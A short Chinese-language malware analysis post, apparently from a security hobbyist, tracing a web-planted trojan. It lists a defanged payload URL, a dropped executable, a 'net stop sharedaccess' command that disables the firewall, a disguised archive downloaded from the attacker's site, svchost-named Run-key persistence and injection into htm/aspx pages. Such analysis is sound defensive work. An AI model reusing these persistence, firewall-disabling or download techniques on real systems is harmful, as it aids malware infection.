在FF看到这消息..于是就把网页解开了..
原来是"老朋友"刺客集团..已经多次和这个集团生成的网马打交道了..
其中挂上一个木马
hxxp://www.es86.com/pic/ddb/2006692151148920.gif
就此做个分析吧..
运行样本.
释放文件
C:win30.exe
调用cmd运行命令/cnetstopsharedaccess
访问网站
61.129.102.79
地址应该是:hxxp://www.es86.com80端口通讯
下载:hxxp://www.es86.com/es86/db/dvbbs.mdb
此文件为rar文件..
dvbbs.mdb释放出文件为

写入注册表
[HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun]
"svchost"="C:ProgramFilesCommonFilesMicrosoftSharedwebserverextensions40botsvinavbarsvchost.exe"
在htm和aspx尾部加入代码

以上分析都在虚拟机里完成的..
这次加的壳实在脱不开..无法查看更详细..
不过猜测编写语言为BorlandDelphi6.0-7.0
尝试关闭一些安全软件估计也有..
=.=再此感叹..这什么破壳..
